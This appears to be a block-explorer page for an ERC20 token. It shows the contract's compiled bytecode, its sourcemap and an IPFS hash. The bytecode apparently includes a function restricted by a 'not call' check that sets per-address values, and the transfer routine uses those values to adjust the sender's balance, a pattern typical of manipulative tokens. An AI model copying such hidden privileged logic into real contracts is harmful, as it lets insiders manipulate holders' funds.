fffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110bd9092919063ffffffff16565b610bad565b6001905092915050565b6000610a066109ff610ba5565b8484610d78565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a9f610ba5565b73ffffffffffffffffffffffffffffffffffffffff16610abd61086a565b73ffffffffffffffffffffffffffffffffffffffff1614610b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0a9061173d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a906116fd565b60405180910390fd5b610b8c81611112565b50565b60008183610b9d9190611859565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c149061179d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c849061171d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6b91906117bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddf9061177d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f906116dd565b60405180910390fd5b6000610e638461040d565b90506000811115610f0e5760008183610e7c91906118af565b905080600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec99190611859565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b610f7a82604051806060016040528060268152602001611a8460269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110bd9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100f82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b8f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110af91906117bd565b60405180910390a350505050565b6000838311158290611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc91906116bb565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000813590506111e581611a55565b92915050565b60008083601f8401126111fd57600080fd5b8235905067ffffffffffffffff81111561121657600080fd5b60208301915083602082028301111561122e57600080fd5b9250929050565b60008135905061124481611a6c565b92915050565b60006020828403121561125c57600080fd5b600061126a848285016111d6565b91505092915050565b6000806040838503121561128657600080fd5b6000611294858286016111d6565b92505060206112a5858286016111d6565b9150509250929050565b6000806000606084860312156112c457600080fd5b60006112d2868287016111d6565b93505060206112e3868287016111d6565b92505060406112f486828701611235565b9150509250925092565b6000806040838503121561131157600080fd5b600061131f858286016111d6565b925050602061133085828601611235565b9150509250929050565b60008060006040848603121561134f57600080fd5b600084013567ffffffffffffffff81111561136957600080fd5b611375868287016111eb565b9350935050602061138886828701611235565b9150509250925092565b61139b816118e3565b82525050565b6113aa816118f5565b82525050565b60006113bb826117f3565b6113c581856117fe565b93506113d5818560208601611938565b6113de81611a44565b840191505092915050565b60006113f66023836117fe565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061145c6026836117fe565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114c26022836117fe565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115286020836117fe565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006115686008836117fe565b91507f6e6f742063616c6c0000000000000000000000000000000000000000000000006000830152602082019050919050565b60006115a86025836117fe565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061160e6024836117fe565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61167081611921565b82525050565b61167f8161192b565b82525050565b600060208201905061169a6000830184611392565b92915050565b60006020820190506116b560008301846113a1565b92915050565b600060208201905081810360008301526116d581846113b0565b905092915050565b600060208201905081810360008301526116f6816113e9565b9050919050565b600060208201905081810360008301526117168161144f565b9050919050565b60006020820190508181036000830152611736816114b5565b9050919050565b600060208201905081810360008301526117568161151b565b9050919050565b600060208201905081810360008301526117768161155b565b9050919050565b600060208201905081810360008301526117968161159b565b9050919050565b600060208201905081810360008301526117b681611601565b9050919050565b60006020820190506117d26000830184611667565b92915050565b60006020820190506117ed6000830184611676565b92915050565b600081519050919050565b600082825260208201905092915050565b600061181a82611901565b915061182583611901565b92508273ffffffffffffffffffffffffffffffffffffffff0382111561184e5761184d6119e6565b5b828201905092915050565b600061186482611921565b915061186f83611921565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118a4576118a36119e6565b5b828201905092915050565b60006118ba82611921565b91506118c583611921565b9250828210156118d8576118d76119e6565b5b828203905092915050565b60006118ee82611901565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561195657808201518184015260208101905061193b565b83811115611965576000848401525b50505050565b6000600282049050600182168061198357607f821691505b6020821081141561199757611996611a15565b5b50919050565b60006119a882611921565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156119db576119da6119e6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611a5e816118e3565b8114611a6957600080fd5b50565b611a7581611921565b8114611a8057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f238dc60cd7344810bcb50aebb71494010724478ac64c9bd4395c3c036b3b7af64736f6c63430008000033
Deployed Bytecode Sourcemap
5457:4943:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6321:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7356:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8707:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8344:353;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6622:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7574:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6523:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8036:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6738:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1359:94;;;:::i;:::-;;708:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6420:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8838:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6923:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7147:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1608:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6321:91;6366:13;6399:5;6392:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6321:91;:::o;7356:210::-;7475:4;7497:39;7506:12;:10;:12::i;:::-;7520:7;7529:6;7497:8;:39::i;:::-;7554:4;7547:11;;7356:210;;;;:::o;8707:123::-;8773:7;8800:13;:22;8814:7;8800:22;;;;;;;;;;;;;;;;8793:29;;8707:123;;;:::o;8344:353::-;8418:11;8441:3;8433:4;;;;;;;;;;;:12;;;;:::i;:::-;8418:27;;8456:14;8481:10;8456:36;;8512:6;8506:12;;:3;:12;;;:28;;;;8528:6;8522:12;;:3;:12;;;8506:28;8503:77;;;8550:18;;;;;;;;;;:::i;:::-;;;;;;;;8503:77;8597:9;8592:98;8616:4;;:11;;8612:1;:15;8592:98;;;8674:4;8649:13;:22;8663:4;;8668:1;8663:7;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8649:22;;;;;;;;;;;;;;;:29;;;;8629:3;;;;;:::i;:::-;;;;8592:98;;;;8344:353;;;;;:::o;6622:108::-;6683:7;6710:12;;6703:19;;6622:108;:::o;7574:454::-;7714:4;7731:36;7741:6;7749:9;7760:6;7731:9;:36::i;:::-;7778:220;7801:6;7822:12;:10;:12::i;:::-;7849:138;7905:6;7849:138;;;;;;;;;;;;;;;;;:11;:19;7861:6;7849:19;;;;;;;;;;;;;;;:33;7869:12;:10;:12::i;:::-;7849:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7778:8;:220::i;:::-;8016:4;8009:11;;7574:454;;;;;:::o;6523:91::-;6572:5;6597:9;;;;;;;;;;;6590:16;;6523:91;:::o;8036:300::-;8151:4;8173:133;8196:12;:10;:12::i;:::-;8223:7;8245:50;8284:10;8245:11;:25;8257:12;:10;:12::i;:::-;8245:25;;;;;;;;;;;;;;;:34;8271:7;8245:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8173:8;:133::i;:::-;8324:4;8317:11;;8036:300;;;;:::o;6738:177::-;6857:7;6889:9;:18;6899:7;6889:18;;;;;;;;;;;;;;;;6882:25;;6738:177;;;:::o;1359:94::-;939:12;:10;:12::i;:::-;928:23;;:7;:5;:7::i;:::-;:23;;;920:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1424:21:::1;1442:1;1424:9;:21::i;:::-;1359:94::o:0;708:87::-;754:7;781:6;;;;;;;;;;;774:13;;708:87;:::o;6420:95::-;6467:13;6500:7;6493:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6420:95;:::o;8838:400::-;8958:4;8980:228;9003:12;:10;:12::i;:::-;9030:7;9052:145;9109:15;9052:145;;;;;;;;;;;;;;;;;:11;:25;9064:12;:10;:12::i;:::-;9052:25;;;;;;;;;;;;;;;:34;9078:7;9052:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;8980:8;:228::i;:::-;9226:4;9219:11;;8838:400;;;;:::o;6923:216::-;7045:4;7067:42;7077:12;:10;:12::i;:::-;7091:9;7102:6;7067:9;:42::i;:::-;7127:4;7120:11;;6923:216;;;;:::o;7147:201::-;7281:7;7313:11;:18;7325:5;7313:18;;;;;;;;;;;;;;;:27;7332:7;7313:27;;;;;;;;;;;;;;;;7306:34;;7147:201;;;;:::o;1608:192::-;939:12;:10;:12::i;:::-;928:23;;:7;:5;:7::i;:::-;:23;;;920:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1717:1:::1;1697:22;;:8;:22;;;;1689:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1773:19;1783:8;1773:9;:19::i;:::-;1608:192:::0;:::o;4186:98::-;4244:7;4275:1;4271;:5;;;;:::i;:::-;4264:12;;4186:98;;;;:::o;93:::-;146:7;173:10;166:17;;93:98;:::o;10013:380::-;10166:1;10149:19;;:5;:19;;;;10141:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10247:1;10228:21;;:7;:21;;;;10220:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10331:6;10301:11;:18;10313:5;10301:18;;;;;;;;;;;;;;;:27;10320:7;10301:27;;;;;;;;;;;;;;;:36;;;;10369:7;10353:32;;10362:5;10353:32;;;10378:6;10353:32;;;;;;:::i;:::-;;;;;;;;10013:380;;;:::o;9246:757::-;9404:1;9386:20;;:6;:20;;;;9378:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9488:1;9467:23;;:9;:23;;;;9459:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9541:19;9563:26;9582:6;9563:18;:26::i;:::-;9541:48;;9618:1;9604:11;:15;9600:138;;;9636:10;9658:11;9649:6;:20;;;;:::i;:::-;9636:33;;9724:2;9704:9;:17;9714:6;9704:17;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;9684:9;:17;9694:6;9684:17;;;;;;;;;;;;;;;:42;;;;9600:138;;9770:108;9806:6;9770:108;;;;;;;;;;;;;;;;;:9;:17;9780:6;9770:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;9750:9;:17;9760:6;9750:17;;;;;;;;;;;;;;;:128;;;;9912:32;9937:6;9912:9;:20;9922:9;9912:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9889:9;:20;9899:9;9889:20;;;;;;;;;;;;;;;:55;;;;9977:9;9960:35;;9969:6;9960:35;;;9988:6;9960:35;;;;;;:::i;:::-;;;;;;;;9246:757;;;;:::o;4716:240::-;4836:7;4894:1;4889;:6;;4897:12;4881:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4936:1;4932;:5;4925:12;;4716:240;;;;;:::o;1808:173::-;1864:16;1883:6;;;;;;;;;;;1864:25;;1909:8;1900:6;;:17;;;;;;;;;;;;;;;;;;1964:8;1933:40;;1954:8;1933:40;;;;;;;;;;;;1808:173;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;;;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;542:139::-;;626:6;613:20;604:29;;642:33;669:5;642:33;:::i;:::-;594:87;;;;:::o;687:262::-;;795:2;783:9;774:7;770:23;766:32;763:2;;;811:1;808;801:12;763:2;854:1;879:53;924:7;915:6;904:9;900:22;879:53;:::i;:::-;869:63;;825:117;753:196;;;;:::o;955:407::-;;;1080:2;1068:9;1059:7;1055:23;1051:32;1048:2;;;1096:1;1093;1086:12;1048:2;1139:1;1164:53;1209:7;1200:6;1189:9;1185:22;1164:53;:::i;:::-;1154:63;;1110:117;1266:2;1292:53;1337:7;1328:6;1317:9;1313:22;1292:53;:::i;:::-;1282:63;;1237:118;1038:324;;;;;:::o;1368:552::-;;;;1510:2;1498:9;1489:7;1485:23;1481:32;1478:2;;;1526:1;1523;1516:12;1478:2;1569:1;1594:53;1639:7;1630:6;1619:9;1615:22;1594:53;:::i;:::-;1584:63;;1540:117;1696:2;1722:53;1767:7;1758:6;1747:9;1743:22;1722:53;:::i;:::-;1712:63;;1667:118;1824:2;1850:53;1895:7;1886:6;1875:9;1871:22;1850:53;:::i;:::-;1840:63;;1795:118;1468:452;;;;;:::o;1926:407::-;;;2051:2;2039:9;2030:7;2026:23;2022:32;2019:2;;;2067:1;2064;2057:12;2019:2;2110:1;2135:53;2180:7;2171:6;2160:9;2156:22;2135:53;:::i;:::-;2125:63;;2081:117;2237:2;2263:53;2308:7;2299:6;2288:9;2284:22;2263:53;:::i;:::-;2253:63;;2208:118;2009:324;;;;;:::o;2339:570::-;;;;2499:2;2487:9;2478:7;2474:23;2470:32;2467:2;;;2515:1;2512;2505:12;2467:2;2586:1;2575:9;2571:17;2558:31;2616:18;2608:6;2605:30;2602:2;;;2648:1;2645;2638:12;2602:2;2684:80;2756:7;2747:6;2736:9;2732:22;2684:80;:::i;:::-;2666:98;;;;2529:245;2813:2;2839:53;2884:7;2875:6;2864:9;2860:22;2839:53;:::i;:::-;2829:63;;2784:118;2457:452;;;;;:::o;2915:118::-;3002:24;3020:5;3002:24;:::i;:::-;2997:3;2990:37;2980:53;;:::o;3039:109::-;3120:21;3135:5;3120:21;:::i;:::-;3115:3;3108:34;3098:50;;:::o;3154:364::-;;3270:39;3303:5;3270:39;:::i;:::-;3325:71;3389:6;3384:3;3325:71;:::i;:::-;3318:78;;3405:52;3450:6;3445:3;3438:4;3431:5;3427:16;3405:52;:::i;:::-;3482:29;3504:6;3482:29;:::i;:::-;3477:3;3473:39;3466:46;;3246:272;;;;;:::o;3524:367::-;;3687:67;3751:2;3746:3;3687:67;:::i;:::-;3680:74;;3784:34;3780:1;3775:3;3771:11;3764:55;3850:5;3845:2;3840:3;3836:12;3829:27;3882:2;3877:3;3873:12;3866:19;;3670:221;;;:::o;3897:370::-;;4060:67;4124:2;4119:3;4060:67;:::i;:::-;4053:74;;4157:34;4153:1;4148:3;4144:11;4137:55;4223:8;4218:2;4213:3;4209:12;4202:30;4258:2;4253:3;4249:12;4242:19;;4043:224;;;:::o;4273:366::-;;4436:67;4500:2;4495:3;4436:67;:::i;:::-;4429:74;;4533:34;4529:1;4524:3;4520:11;4513:55;4599:4;4594:2;4589:3;4585:12;4578:26;4630:2;4625:3;4621:12;4614:19;;4419:220;;;:::o;4645:330::-;;4808:67;4872:2;4867:3;4808:67;:::i;:::-;4801:74;;4905:34;4901:1;4896:3;4892:11;4885:55;4966:2;4961:3;4957:12;4950:19;;4791:184;;;:::o;4981:305::-;;5144:66;5208:1;5203:3;5144:66;:::i;:::-;5137:73;;5240:10;5236:1;5231:3;5227:11;5220:31;5277:2;5272:3;5268:12;5261:19;;5127:159;;;:::o;5292:369::-;;5455:67;5519:2;5514:3;5455:67;:::i;:::-;5448:74;;5552:34;5548:1;5543:3;5539:11;5532:55;5618:7;5613:2;5608:3;5604:12;5597:29;5652:2;5647:3;5643:12;5636:19;;5438:223;;;:::o;5667:368::-;;5830:67;5894:2;5889:3;5830:67;:::i;:::-;5823:74;;5927:34;5923:1;5918:3;5914:11;5907:55;5993:6;5988:2;5983:3;5979:12;5972:28;6026:2;6021:3;6017:12;6010:19;;5813:222;;;:::o;6041:118::-;6128:24;6146:5;6128:24;:::i;:::-;6123:3;6116:37;6106:53;;:::o;6165:112::-;6248:22;6264:5;6248:22;:::i;:::-;6243:3;6236:35;6226:51;;:::o;6283:222::-;;6414:2;6403:9;6399:18;6391:26;;6427:71;6495:1;6484:9;6480:17;6471:6;6427:71;:::i;:::-;6381:124;;;;:::o;6511:210::-;;6636:2;6625:9;6621:18;6613:26;;6649:65;6711:1;6700:9;6696:17;6687:6;6649:65;:::i;:::-;6603:118;;;;:::o;6727:313::-;;6878:2;6867:9;6863:18;6855:26;;6927:9;6921:4;6917:20;6913:1;6902:9;6898:17;6891:47;6955:78;7028:4;7019:6;6955:78;:::i;:::-;6947:86;;6845:195;;;;:::o;7046:419::-;;7250:2;7239:9;7235:18;7227:26;;7299:9;7293:4;7289:20;7285:1;7274:9;7270:17;7263:47;7327:131;7453:4;7327:131;:::i;:::-;7319:139;;7217:248;;;:::o;7471:419::-;;7675:2;7664:9;7660:18;7652:26;;7724:9;7718:4;7714:20;7710:1;7699:9;7695:17;7688:47;7752:131;7878:4;7752:131;:::i;:::-;7744:139;;7642:248;;;:::o;7896:419::-;;8100:2;8089:9;8085:18;8077:26;;8149:9;8143:4;8139:20;8135:1;8124:9;8120:17;8113:47;8177:131;8303:4;8177:131;:::i;:::-;8169:139;;8067:248;;;:::o;8321:419::-;;8525:2;8514:9;8510:18;8502:26;;8574:9;8568:4;8564:20;8560:1;8549:9;8545:17;8538:47;8602:131;8728:4;8602:131;:::i;:::-;8594:139;;8492:248;;;:::o;8746:419::-;;8950:2;8939:9;8935:18;8927:26;;8999:9;8993:4;8989:20;8985:1;8974:9;8970:17;8963:47;9027:131;9153:4;9027:131;:::i;:::-;9019:139;;8917:248;;;:::o;9171:419::-;;9375:2;9364:9;9360:18;9352:26;;9424:9;9418:4;9414:20;9410:1;9399:9;9395:17;9388:47;9452:131;9578:4;9452:131;:::i;:::-;9444:139;;9342:248;;;:::o;9596:419::-;;9800:2;9789:9;9785:18;9777:26;;9849:9;9843:4;9839:20;9835:1;9824:9;9820:17;9813:47;9877:131;10003:4;9877:131;:::i;:::-;9869:139;;9767:248;;;:::o;10021:222::-;;10152:2;10141:9;10137:18;10129:26;;10165:71;10233:1;10222:9;10218:17;10209:6;10165:71;:::i;:::-;10119:124;;;;:::o;10249:214::-;;10376:2;10365:9;10361:18;10353:26;;10389:67;10453:1;10442:9;10438:17;10429:6;10389:67;:::i;:::-;10343:120;;;;:::o;10469:99::-;;10555:5;10549:12;10539:22;;10528:40;;;:::o;10574:169::-;;10692:6;10687:3;10680:19;10732:4;10727:3;10723:14;10708:29;;10670:73;;;;:::o;10749:281::-;;10808:20;10826:1;10808:20;:::i;:::-;10803:25;;10842:20;10860:1;10842:20;:::i;:::-;10837:25;;10972:1;10928:42;10924:50;10921:1;10918:57;10915:2;;;10978:18;;:::i;:::-;10915:2;11022:1;11019;11015:9;11008:16;;10793:237;;;;:::o;11036:305::-;;11095:20;11113:1;11095:20;:::i;:::-;11090:25;;11129:20;11147:1;11129:20;:::i;:::-;11124:25;;11283:1;11215:66;11211:74;11208:1;11205:81;11202:2;;;11289:18;;:::i;:::-;11202:2;11333:1;11330;11326:9;11319:16;;11080:261;;;;:::o;11347:191::-;;11407:20;11425:1;11407:20;:::i;:::-;11402:25;;11441:20;11459:1;11441:20;:::i;:::-;11436:25;;11480:1;11477;11474:8;11471:2;;;11485:18;;:::i;:::-;11471:2;11530:1;11527;11523:9;11515:17;;11392:146;;;;:::o;11544:96::-;;11610:24;11628:5;11610:24;:::i;:::-;11599:35;;11589:51;;;:::o;11646:90::-;;11723:5;11716:13;11709:21;11698:32;;11688:48;;;:::o;11742:126::-;;11819:42;11812:5;11808:54;11797:65;;11787:81;;;:::o;11874:77::-;;11940:5;11929:16;;11919:32;;;:::o;11957:86::-;;12032:4;12025:5;12021:16;12010:27;;12000:43;;;:::o;12049:307::-;12117:1;12127:113;12141:6;12138:1;12135:13;12127:113;;;12226:1;12221:3;12217:11;12211:18;12207:1;12202:3;12198:11;12191:39;12163:2;12160:1;12156:10;12151:15;;12127:113;;;12258:6;12255:1;12252:13;12249:2;;;12338:1;12329:6;12324:3;12320:16;12313:27;12249:2;12098:258;;;;:::o;12362:320::-;;12443:1;12437:4;12433:12;12423:22;;12490:1;12484:4;12480:12;12511:18;12501:2;;12567:4;12559:6;12555:17;12545:27;;12501:2;12629;12621:6;12618:14;12598:18;12595:38;12592:2;;;12648:18;;:::i;:::-;12592:2;12413:269;;;;:::o;12688:233::-;;12750:24;12768:5;12750:24;:::i;:::-;12741:33;;12796:66;12789:5;12786:77;12783:2;;;12866:18;;:::i;:::-;12783:2;12913:1;12906:5;12902:13;12895:20;;12731:190;;;:::o;12927:180::-;12975:77;12972:1;12965:88;13072:4;13069:1;13062:15;13096:4;13093:1;13086:15;13113:180;13161:77;13158:1;13151:88;13258:4;13255:1;13248:15;13282:4;13279:1;13272:15;13299:102;;13391:2;13387:7;13382:2;13375:5;13371:14;13367:28;13357:38;;13347:54;;;:::o;13407:122::-;13480:24;13498:5;13480:24;:::i;:::-;13473:5;13470:35;13460:2;;13519:1;13516;13509:12;13460:2;13450:79;:::o;13535:122::-;13608:24;13626:5;13608:24;:::i;:::-;13601:5;13598:35;13588:2;;13647:1;13644;13637:12;13588:2;13578:79;:::o
Swarm Source
ipfs://f238dc60cd7344810bcb50aebb71494010724478ac64c9bd4395c3c036b3b7af
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.